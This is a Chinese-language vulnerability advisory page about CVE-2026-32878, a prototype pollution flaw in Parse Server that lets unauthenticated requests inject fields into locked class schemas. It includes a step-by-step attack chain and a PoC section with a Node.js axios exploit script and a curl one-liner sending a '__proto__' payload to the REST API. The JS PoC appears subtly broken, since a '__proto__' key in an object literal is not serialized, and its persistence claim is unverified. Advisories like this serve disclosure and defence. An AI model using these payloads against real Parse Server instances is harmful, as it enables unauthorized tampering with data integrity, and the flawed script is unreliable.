IPBUF安全漏洞报告
English
CVE-2026-32878 CVSS 7.5 高危

Parse Server原型污染漏洞CVE-2026-32878导致字段注入

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32878
漏洞类型
原型污染
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

原型污染Parse ServerNode.jsCVE-2026-32878字段注入权限绕过深拷贝漏洞模式污染后端框架安全漏洞

漏洞概述

Parse Server是一个开源后端服务器,可部署在任何可运行Node.js的基础设施上。在9.6.0-alpha.20和8.6.44之前的版本中,存在一个严重的安全漏洞。攻击者可以通过发送精心构造的请求来绕过默认的请求关键字黑名单保护和类级别的字段添加权限限制。该漏洞的核心是利用深拷贝机制中的原型污染(Prototype Pollution)问题。攻击者利用此漏洞可以向已锁定字段添加功能的类模式中注入任意字段,甚至可以造成永久性的模式类型冲突,这种冲突即使使用主密钥也无法解决。此漏洞无需任何认证即可被利用,攻击复杂度低,影响系统的数据完整性和安全性。建议受影响的用户立即升级到修复版本。

技术细节

该漏洞的根本原因在于Parse Server使用的第三方深拷贝库在处理对象属性时存在原型污染问题。在JavaScript中,`__proto__`属性允许修改对象的原型链,而原型污染攻击正是通过操纵这个属性来注入恶意属性。在Parse Server的深拷贝机制中,当处理用户输入时,如果输入包含`__proto__`属性,该属性会被正确处理并污染目标对象的原型。具体攻击过程如下:攻击者发送包含`__proto__`字段的请求,由于深拷贝库未能正确过滤这个特殊属性,被污染的原型会被应用到类的模式定义中。这导致攻击者可以在受保护的类中添加任意字段,绕过类级别的权限控制。被注入的字段可能与现有字段产生类型冲突,且这种冲突会持久化存储,即使使用master key也无法通过正常途径清除。修复方案是用安全的内置深克隆机制替换了存在漏洞的第三方库,该内置机制能够正确处理原型属性,使得现有的黑名单检查能够正常检测和拒绝禁止的关键字。

攻击链分析

STEP 1
步骤1
攻击者识别目标Parse Server实例,确认其版本在漏洞影响范围内(<8.6.44或<9.6.0-alpha.20)
STEP 2
步骤2
攻击者构造包含__proto__属性的恶意请求载荷,利用深拷贝机制中的原型污染漏洞
STEP 3
步骤3
发送精心构造的请求到Parse Server的REST API端点(如/classes/ClassName),触发深拷贝处理
STEP 4
步骤4
深拷贝库在处理请求时未正确过滤__proto__属性,导致原型链被污染,恶意字段被注入到类模式中
STEP 5
步骤5
攻击成功,字段被永久注入到受保护的类模式中,即使使用master key也无法通过正常API清除
STEP 6
步骤6
攻击者可利用注入的字段造成模式类型冲突,破坏数据完整性,或进行进一步的攻击利用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-32878 PoC - Prototype Pollution in Parse Server Deep Copy // This PoC demonstrates bypassing class-level field addition restrictions const axios = require('axios'); // Target Parse Server instance const TARGET_URL = 'http://target-server:1337/parse'; const APP_ID = 'your-app-id'; const API_KEY = 'your-api-key'; async function exploitPrototypePollution() { console.log('[+] Starting CVE-2026-32878 exploitation...'); // Step 1: Create a class with locked field addition // In real scenario, this class would already exist with restricted permissions // Step 2: Send malicious request with __proto__ property // This exploits the deep copy mechanism to inject fields const maliciousPayload = { '__proto__': { 'injectedField': { type: 'String', __isInjected: true } }, 'legitimateField': 'normalValue' }; try { const response = await axios.post( `${TARGET_URL}/classes/VulnerableClass`, maliciousPayload, { headers: { 'X-Parse-Application-Id': APP_ID, 'X-Parse-REST-API-Key': API_KEY, 'Content-Type': 'application/json' } } ); console.log('[+] Malicious request sent'); console.log('[+] Response:', JSON.stringify(response.data, null, 2)); // Step 3: Verify field injection by querying schema const schemaResponse = await axios.get( `${TARGET_URL}/schemas/VulnerableClass`, { headers: { 'X-Parse-Application-Id': APP_ID, 'X-Parse-Master-Key': 'master-key' // Would need master key to verify } } ); console.log('[+] Schema after exploitation:', JSON.stringify(schemaResponse.data, null, 2)); // Check if injected field persists if (schemaResponse.data.fields && schemaResponse.data.fields.injectedField) { console.log('[!] SUCCESS: Field injection confirmed!'); console.log('[!] The injected field persists even with master key'); } } catch (error) { console.error('[-] Error during exploitation:', error.message); } } exploitPrototypePollution(); // Alternative PoC using curl: // curl -X POST http://target-server:1337/parse/classes/TargetClass \ // -H "X-Parse-Application-Id: APP_ID" \ // -H "X-Parse-REST-API-Key: API_KEY" \ // -H "Content-Type: application/json" \ // -d '{"__proto__": {"evilField": {"type": "String"}}, "normalField": "value"}'

影响范围

Parse Server < 8.6.44
Parse Server 9.0.0 - 9.6.0-alpha.19

防御指南

临时缓解措施
该漏洞目前没有已知的临时缓解措施。唯一的有效解决方案是将Parse Server升级到8.6.44或9.6.0-alpha.20及更高版本。这些版本使用了内置的安全深克隆机制替代了存在原型污染漏洞的第三方库。在升级前,建议通过防火墙或访问控制列表限制对Parse Server API的访问,仅允许受信任的IP地址访问。同时,监控日志中的异常请求模式,特别是包含__proto__、constructor或prototype等特殊属性的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表